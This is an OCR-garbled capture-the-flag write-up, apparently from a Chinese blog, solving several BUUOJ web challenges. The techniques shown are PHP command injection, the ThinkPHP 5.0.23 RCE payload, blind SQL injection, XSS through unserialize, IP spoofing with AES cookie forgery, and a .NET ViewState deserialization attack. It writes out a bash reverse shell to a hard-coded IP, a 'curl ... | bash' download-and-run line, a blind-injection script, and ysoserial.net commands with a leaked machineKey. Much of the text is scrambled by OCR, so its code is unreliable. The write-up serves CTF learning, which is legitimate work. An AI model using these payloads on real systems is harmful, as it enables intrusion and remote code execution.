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<!DOCTYPE html=
<html lang="en">
<head=
<meta charset="UTF-8">
<title>give me a girl</title>
=/head>
<body=>
<center><hl>¥ & [ </hl></center>
</body>
=/html>
=?php
error_reporting(o);
echo "how can i give you
if (!isset($_POST['gir
I die("where is P3rhdps's
¥ el=e i

$girl = $_POST['girl friend'];

if {preg_match{'=%-!\\i:', $girl)) {

die('just girl'};
} else if (preg_match('/1ls|phpinfo|cat|\%|\"|\~|base64|xxd|echo|\$/1i', $girl)) {
echo "<img src='img/p3 it tul ot S e e e
} else {
//duangShel l~~~~
exec($girl);

rmpa;:.-“.-“ﬂt?r_,l,ca;dn_nerfCrgrééI

F ~exec() L E &, T HEAZcurl. FrlART LLR #shell~~

ifconfig

root@87d06eal/3ed: /var/www/html# ifconfig

etho Link encap:Ethernet HWaddr 02:42:8e:01:91:eb
inet addr:174.1.145.235 Bcast:174.255.255.255 Mask:255.0.0.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:6868 errors:0 dropped:0 overruns:0 frame:®@
TX packets:5677 errors:0 dropped:© overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:687314 (687.3 KB} TX bytes:684141 (684.1 KB)

Link encap:Local Loopback

inet addr:127.8.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:54 errors:0 dropped:8 overruns:0 frame:0

TX packets:54 errors:0 dropped:0 overruns:0 carrier:@

collisions:0 txqueuelen:16000

RX bytes:6900 (6.9 KB) TX bytes:6900 (6.9 Kiins:/blog.csdn.net/ChenZIDu

root@8/di6eadl/3ed: /var/www/ html# vim b.txt
root@87d06eald73ed: /var/www/html# cat b.txt
bash -i =& /dev/tcp/174.1.145.235/1234 0=&1
root@87d06ead73ed: /var/www/html# []

bash -i >& /dev/tcp/ip/port 0>&1




nc -lvp 1234

girl_friend=curl 174.1.145.235/b.txt|bash

Encryption + Encoding~+ SQL~ XSS~ Other~

@ Load URL http://a39ec798-5c66-4862-9d4d-f05002605e87.node3.buuoj.cn/

& Split URL

») Execute

Postdata [] Referer [] User Agent [ ] Cookies Clear All

girl_friend=curl 174.1.145.235/b.txt|bash

root@s7do6eal d:/var/www/html# nc -lvp 1234

listening on [any] e

connect to [174.1.145.235] from 1069-a39ec798-5c66-4862-9d4d-TO5002605e87.1.whnBcagwgejmjj/8hkymz37bu.
swarm [174.1.145.165] 34166

bash: cannot set terminal process group (167): Not a tty
bash: no job control in this shell
bash-4.4$ []

grep -r "flag{" /etc

grep -r "flag{" /etc
grep: /fetc/crontabs/root: Permission denied
: ermission denied
/you/flag: flag{81534aec-7848-4a42-bef6-890656d09495}

/mysql/my.cnf: Permission denied
grep: c/shadow-: Permission denied
bash-4.4% []




7 H 8 R thinkphp5, %538 Fi thinkphp5#payload$T 7 F, A5 R B A5.0.23

ThinkPHP Constants

APP_PATH
THINK_VERSION

THINK_START_TIME
THINK_START_MEM

EXT

DS
THINK_PATH
LIB_PATH
CORE_PATH
TRAIT_PATH
ROOT_PATH
EXTEND_PATH
VENDOR_PATH
RUNTIME_PATH
LOG_PATH
CACHE_PATH
TEMP_PATH
CONF_PATH
CONF_EXT
ENV_PREFIX
IS_CLI
IS_WIN

Svar/www/html/public/../application/
5.0.23

158535382831.5982

268952

.php

/

Svar/www/html/thinkphp/
Svar/www/html/thinkphp/library/
Svar/www/html/thinkphp/library/think/
Svarfwww/html/thinkphp/library/traits/
Svar/www/html/
[var/fwww/html/extend/
Svarfwww/html/vendor/
Svar/www/html/runtime/
Svar/www/html/runtime/log/
Svar/www/html/runtime/cache/
Svarfwww/html/runtime/temp/
Svar/www/html/public/../application/
.php

PHP_

false

false

ThinkPHP V5.0.23 { HEE—GI-RAPIH A HSMREHES }



RIEES5.0235T T, &FEZflag, ELUARKITE HRER EE. .

flag{b8a25e2d-fc85-48a2-b746-0727c51afb57}

[2] ErrorException in Request.php line 1088

system(): Cannot execute a blank command

1079. * @param array $filters iE/iE+EIME

1080. * @return mixed

1081. %/

1082. private function filtervalue(&$value, $key, $filters)
1083. {

1084. $default = array pop($filters);

1085. foreach ($filters as $filter) {

1086. if (is_callable($filter)) {

1087. /1 RS TET R

1088. $value = call user func($filter, $value);
10889. } elseif (is_scalar($value)) {

1090. if (false !== strpos($filter, /")) {
1091. // IEMGEEE

1N92 if (Inreoc matrhidfilter $ualueih [

N O=ss Daws DeEse Nz ((atess Quse Orns BEE f TEEWs @ HackBar

Encryption + Encoding~ SQL ~ XSS~ Other~

@ Load URL http://9603c6b6-ca37-4a1e-a61f-9d16de462d61.node3.buuoj.cnfindex.php?s=captcha
& Split URL

Execut
p Beate Post data [] Referer [] User Agent [] Cookies Clear All

_method=__ construct&filter[]=system&method=get&serverfREQUEST_METHOD]=cat /flag

/index.php?s=captcha

method=__construct&filter[ ]=system&method=get&server[REQUEST _METHOD]=cat /flag

faj BN

hint.ixtg 55327 : select * from users where username='$_POST["username"]' and password='$_POST["password"]";

XFSQIFENEAKR T, H— T RITEK ZHEAN


https://blog.csdn.net/SopRomeo/article/details/105123395

import requests
import time

url = "http://523c9df3-1d44-44e8-bcc5-2a8ad35c3ff4.node3.buuoj.cn/"
password = ""
for i in range(1,1000):
time.sleep(0.06)
low = 32
high =128
mid = (low+high)//2
while(low<high):
payload = '~ (ascii(substr((password),%d,1))>%d)#" % (i,mid)
temp={"username":"admin\\", "password": payload}
r = requests.post(url,data=temp)
print(low,high,mid,":")
if "P3rh4ps" in r.text:
low = mid+1
else:
high = mid
mid =(low+high)//2
if(mid ==32 or mid ==127):
break
password +=chr(mid)
print(password)

print("password=",password)

RS — kA B R P PR R A

FIFbuuE T B # N Mixss, FR1E.

<?php

= new Exception("<script src=http://xss.buuoj.cn/bL6BFw></script>");
echo urlencode(serialize($a));
Fr 54k :
0%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A48%3A%22%3Cscript+src%3Dhttp%3A%2F%2Fxss .
buuoj.cn%2FbL6BFW%3E%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%
2A%00code%22%3B1%3A0%3Bs%3A7%3A%22%00%2A%00111e%22%3Bs%3A18%3A%22%2Fusercode%2Ffile. php%22%3Bs%3A7%3A%22%00%2A%0
01ine’%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace’%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3B
N%3B%7D



https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2

_ L l 1 1
HTTR/M.1 200 OK

Senver: openresty

Date: Tue, 31 Mar 2020 15:58:34 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 132

Connection: close

Set-Cookie: yds=flag%7 Bhae897 af-8h02-4096-9150-13160bd54d5h %7 D%0A
K-Fowered-By: PHP/S.E.40

exception 'Exception’ with message "<script src=http:/fxss.buuoj. cn/bLEBFw=</script=" in
fusercode/file.php:3

Stack trace:

#0 {main}

tcooki el ]
Client-ip:127.0.0.1 //ZEXFFHAART
Referer:gem-1love.com // RIR L HE

User-Agent:Commodore 64 //f#fHKIZRZ:
from:root@gem-love.com //i&ERT R
via:ylng.vip /& RIT A

— B RE==. headerBHA 15 &, = T home.php,robots &R T admin.php B2 R fo ¥4 i 4 .
home.php B AT LA A D B i B system.php HIIRAS, RN T HAR I 5 Sk & P8R iokyou!

only 127.0.0.1 can access! You know what | mean right?

your ip address is 174.0.222.75

home.php?file=php://filter/read=convert.base64-encode/resource=system

baseb4f# % J5 15 2IYRAG, AT


https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers

<?php

error_reporting(0);

if (!isset($_COOKIE['ylng']) || $_COOKIE['ylng'] !== shal(md5('ylng"'))){ //#iE cookie
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");

'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ *;
'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

= '/Ahttp:\/\/127\.0\.0\.1\//i";
= '/.2f.21.%a.2g.2/1";

if (isset($_POST['ql']) && isset($ _POST['g2']) && isset($_POST['qg3']) ) {
$url = $ POST['g2"'].".ylng.txt";
$method = $ _POST['q3"'];

$strl = "~$ python fuck.py -u \"".$url ."\" -M $method -U ylng -P adminl23123 --neglect-negative --debug --h
int=xiangdemei<br>";

echo $stri;

if (!preg_match($filterl, $url) ){
die($str2);

¥

if (preg_match($filter2, $url)) {
die($str3);

¥

if (!preg_match('/~GET/i', $method) && !preg match('/~POST/i', $method)) {
die($stra);

¥

$detect = @file_get_contents($url, false);

print(sprintf("$url method&content_size:$method%d", $detect));

http://127.0.0.1/admin.php?a=

GET%s%



<?php
error_reporting(0);

function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));

function Check(){
if (isset($_COOKIE['your_ip_address']) && $_COOKIE[ 'your_ip address'] === md5($_SERVER[ 'REMOTE_ADDR']) && $
COOKIE[ 'ylng'] === shal(md5('ylng')))
return true;
else
return false;

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {

highlight_file(_ FILE_ );
} else {

echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><bn
>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];

}

¢ SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET[ 'decrypt'])) {
$decr = $_GET[ 'decrypt’];
if (Check()){ / /& cookie
$data = $_SESSION[ ‘secret'];
include 'flag 2sln2ndln2klnlksnf.php’;
$cipher = aesEn($data, 'ying'); // i aesEn
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('J€');
¥
} else{
header ("Refresh:0.1;url=index.php");

}
else {

//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));

$length = mt_rand(40,890);

$ SESSION[ 'secret'] = bin2hex(random_bytes($length));

RS2 i miE iif, A check()RSL, 3 H $decr===$cipher
$cipher = aesEn($data, 'ying'); R Z 4R [B] fE A Z HEAT

$_SERVER[ 'REMOTE_ADDR'] B2 HITHI15174.0.222.75.




function aeskEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64 encode(openssl encrypt($data, $method,$key, OPENSSL RAW DATA , $iv));

function aesEn($data, $key)

{
$method = 'AES-128-CBC';
$iv = md5('174.0.222.75"', true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));

$cipher = aesEn('NULL', 'ylng');
echo urlencode($cipher); //70klfZeYC+W1CO45CcKhtg== B &AM

s;extension=php_openssl.dll

® 0 ¥ Q Preserve log Disable cache | Online v + 3 e
Filte: Hide data URLs
XHR JS CSS Img Media Font Doc WS Manifest Other

Only show requests with SameSite issues

only 127.0.0.1 can access! You know
what | mean right? — T T
your ip address is N e

v Request Headers view source

.| admin.php?decrypt=70kif... ) ) o
174.0.222.75fla g { 2¢cd9264f-c18e- e e, A A

0.9, image/webp, image/apng, */*;q=0.8, application/signed-

4417-a9b4-f5fe60718b9c} o o

Accept-Language: zh-CN,zh;q=0.9

Connection: keep-alive

Cookie: y1ng=8888cbd71721332a25aa6df7b12eb7ac53539100; yo
ur_ip address=76d9f80467e5eebabc3cab0B892ef304e

DNT: 1

Host: 3519a38f-a94f-4c79-a10d-56ac1485022F .node3 . buuoj.c

n

Upgrade-Insecure-Requests: 1

B &

HEZERIMEF#Z: path=4.gif FIRIKREUAE L E, Hweb.config X ff.
—AMMNAEZR: path=../../web.config

R AEER B, curl F#.

7170) ~ || @ bty #ES) ||=| © @ @

<?xml version="1.0" encoding="UTF-8"7?>

<configuration>

<system.web=

<machineKey
validationKey="47A7D23AF52BEFO7FBI9EE7BD395CD9E19937682ECB288913CE758DES035CF40DC4DB2B08479BF630CFEAFOBDFEE7242FC54D89745F7AF777960
decryptionKey="BOE528C949E59127E7469C9AFO764506BAFD2AB8150A75A5" validation="SHAl1" decryption="3DES" />

</system.web>

</configuration>



https://code.y444.cn/
https://www.4hou.com/posts/GYq7
https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/

curl -0 http://65b7c96b-2005-4b6b-badf-485176af77c7.node3.buuoj.cn/Imgload.aspx?path=../../web.config

ExploitClass.cs. System.Web.dll. System.dll3Z 44
ysoserial.net, B 1% F # Hrexe

.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.
dll" --generator="CA@B@334" --validationalg="SHA1" --validationkey="47A7D23AF52BEFO7FBOEE7BD395CD9E19937682ECB28
8913CE758DE5035CF40DC4DB2B0O8479BF630CFEAFOBDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="BOE528C949E
59127E7469COAFO764506BAFD2AB8150A75A5"

PS E:\CTF\ctf\ysoserial> . "'-.;'soser ial.exe ViewState ActivitySurrogateSelectorFromFile

decrypt ionKey="BOE528C
Q49E59127E7469CIAF0764506BAFD2AB8150A75A5"
/wEy7EcAAQAAAP BAAAAAAAAAAWCAAAAT INSc3R | bSSEYXRhLCBWZXJzaWPuPTQuMC4wL jAs | ENT1bHR 1emU9bmV1dHJhbCwgUHY ibG | jS2VEVGEIr ZW.
Y je3YTV NTYxOTMOZTA40QUBAAAAEINSC3R | bSSEYXRhLKRhdGF TZXQKAAAAFKRhAGF TZXQuUmVtb3RpbmdGb3JtYXQTRGFOYVN | dCSEYXRhUZVOTmFtZR
FEYXRhU2VOLk5hbWVzcGF jZQ5EYXRhU2VOL | ByZWZpeBVEYXRhUZ2VOLKNhc2VTZW5zaXRpdmUSRGFOYVN | dC5Mb2NhbGVMQO | EGKRhdGF TZXQuRW5Smb3J j 2|
UNvbnNOcmF pbnRz GkRhdGF TZXQuURXhOZWSkZWRQemIwZXJOaWVzF ERhdGF TZXQuVGF i bGVzLkNvdWS0EERhdGF TZXQuVGF i bGYzXzAEAQEBAAAAAZAHHT NS
c3RIbSSEYXRhLIN|cm|hbG|6YXRpb25Gb3JtYXQCAAAAAQzBCA | CAAAABT ‘8fU3 1 zdGVtLKRhdGEuU2VyaWF saXphdG | vbkZvem1 hd AEAAAAHAmF sdWV
FXwA | AgAAAAEAAAAGBAAAAAAJBAAAAAKEAAAAAAKEAAAACSEAAAAJBQAAAABFAAAATCMAAA | AAQAAAP BAAAAAAAAAAQBAAAATINSC3R 1bS5Db2xsZ
NOaWucySHZWS lem| jLkxpc3RgMVtbU3 | zdGYLLK? i amV jdCwgbXN jb3Jsal | s | FZ | cnNpb249NCAwL jAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZ]
X1Ub2t1bj1iNzdhNWM1N jJESMzR IMDg5XVODAAAAB | 9pdGVtewVTe2 | 6ZQhfdmVye2 | vbgUAAAg | CQ | AAMAAHAAAABWAAABACAAAACAAAAAKDAAAACQQAAAAY
BOAAAAKGAAAACQcAAAAJCAAAAAK JAAAACZWKAAAAYVNSCIR I bS5Xb3Jr Zmxvdy5Db2 1wb25 | bnRNb2R | bCwgVmVyc2 | vb jOOL jAuMCAwLCBDdWxOdX J | PW5)
| dXRyYWws | FB1YmxpY0t | eVRva2VuPTMxYmYz0DU2YWQzN jR | MzUF AwAAAGp TeXNOZWOuV29ya2Zsb3cuQ29tcGouZWS0TWok ZWwul2VyaWF saXphdGlvb i
5BY3Rpdm| DeVN1endvZ2FOZVN | bGY jdG9yKO9 i amV jdFN1cndvZ2F0ZStPYmp | Y3RTZXJpYWxpemVkUmVmAgAAAAROeXB | C21 | bWJ | ckRhdGF zAwUfU3 | zd
IGVtL | VuaXR5U2VyaWF saXphdG | vbkhvbGR | czoAAAAJCWAAAAKMAAAAAQQAAAADAAAACQOAAAAIDgAAAAEF AAAAAWAAAAKPAAAACRAAAAABBZAAAAMAAAAY
IEQAAAAKSAAAAAQCAAAADAAAACRMAAAAJFAAAAAE | AAAAAWAAAAKVAAAACRYAAAAECQAAABX Te XNOZWOuQ29sbGY jdG | vbnMuSGF zaHRhYmx | BWAAAApMb 2F)
kRmF jdG9yB1Z |cnNpb24 1029t cGFyZX | QSGFzaENvZGVQcm92alWR | cgh | YXNoU2 | 6ZQRLZX | zB | ZhbHY | cwAAAWMABQULCBx TeXNOZWOuQ29sbGY jdG | vbn)
MuSUNvbXBhemVyJFN5c3R | bS5Db2xsZWNOaWQucy5JSGF zaENvZBGYQecm92alR | cg jsUTg/AgAAAACKAWAAAAK XAAAACRZAAAAECWAAABI Te XNOZWOuVW5pd
jH | TZXJpYWxpemF0aWFuSG9sZGYyAWAAAAREY XRhCVVuaXRoVH I wZQxBc3N | bWJseUShbWUBAAE | BhkAAAD4AVNSc3R | bS5MaWSxLkVudW1 | cmF i bGUrV2h |
femVTZWx | Y3RMaXNOSXR | cmFOb3JgM | tbU3 | zdGV+tLk J5dGYbXSwgbXN jb3JsaWl s |FZ 1 enNpb249NCAwL jAuMCwgQ3VsdHVyZT1uZXV0emF sLCBQdWJsaliN
LZX1Ub2t Ibj1iNzdhNWMIN JESMzR IMDg5XSxbU3 | zdGVtL | J| Zmx | Y3Rpb24uQXNzZW1 ibHks | G1zY29ybG | i LCBWZXJzaWPuPTQuMC4wL jAs |EN1bHR1c
U9bmV 1dHJhbCwgUHV i bG | jS2VEVGEr ZWA9Y je3YTV JNTY X0 MOZTA4UV]dBAAﬁAAYaAAAATIN503R|bSSDb3J|LCBWZXJLﬁﬂﬂuPTﬁnMGéﬁLJﬂﬁLEhHmHEWE

POST v  http://65b7c96b-2005-4b6b-ba0f-485176af77c7.node3.buuoj.cn “ Save

none ® torm-data X-Www-torm-urlencoded raw binary GraphyL
KEY VALUE DESCRIPTION see  Bulk Ec
cmd dir c:\
__VIEWSTATE /WEyTECAAQAAAP////8BAAAAAAAAAAWCAAA
Body Cookies Headers (8) Test Results Status: 200 OK me: 148ms  Size: 986 B nse
Pretty Raw Preview Visualize HTML 5 [_. C
1 WEEfEE ¢ HEEEETE.
2 ERFFISE B2AE-237A
3
4 c:\ FIBE
5
b 94/02/2020 @7:09 PM 44 Fl@g glzjin_still w@nts_a_girl friend.txt
7 94/02/2028 @7:89 PM <DIR» inetpub
8 11/23/2@16 @6:45 AM 1,894 License.txt
9 11/08/2019 @9:14 PM <DIR> Perflogs
1@ 94/02/2028 @7:89 PM <DIR» Program Files
11 87/16/2016 89:18 PM <DIR> Program Files (x86)
12 11/13/2@19 @5:49 AM 172,328 ServiceMonitor.exe
13 v3/20/20268 @9:45 PM 7@ St@tlc_f1@9.txt

14 v4/@2/2020 @7:88 PM <DIR> Users


https://github.com/ChenZIDu/EasyAspDotNet.git
https://github.com/pwntester/ysoserial.net/releases/tag/v1.32

W FMbrupiE & VIEWSTATE S $H) 40 5Y 1) 73
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